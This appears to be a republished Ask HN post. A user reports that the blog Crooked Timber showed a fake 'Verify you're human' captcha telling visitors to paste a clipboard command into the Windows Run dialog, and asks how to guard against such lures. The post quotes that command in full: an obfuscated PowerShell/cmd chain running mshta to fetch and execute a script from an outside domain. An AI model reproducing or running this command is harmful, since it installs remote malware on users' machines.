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Ask HN: Crooked Timber showed showed me a virus captcha, What now?

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Why This Matters

This article highlights the evolving tactics of online scams and malware, emphasizing the importance for users and the tech industry to stay vigilant against sophisticated phishing and malware delivery methods. It underscores the need for improved security awareness and tools to protect against malicious scripts disguised as legitimate verification processes.

Key Takeaways

Hello everyone, This morning, as i started my shift, i thought i would start visiting some news blogs / websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha. I clicked it, the spinner spun, and a box opened on the right, showing the traditional "Verify you're human" white title on a blue background.

It showed 2 "Manual Verification Steps" : 1. Press Win + R 2. Press Ctrl + V and press Run

At first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.

I opened a new type and to my surprise, the something new was in my clipboard : "pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""

I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and run a script from the URL.

How do i protect myself from these scams / hack attempts in the future ? i always tought of myself "prepared" but i was surprised.

Has this happened to you before ? How do you protect yourself ?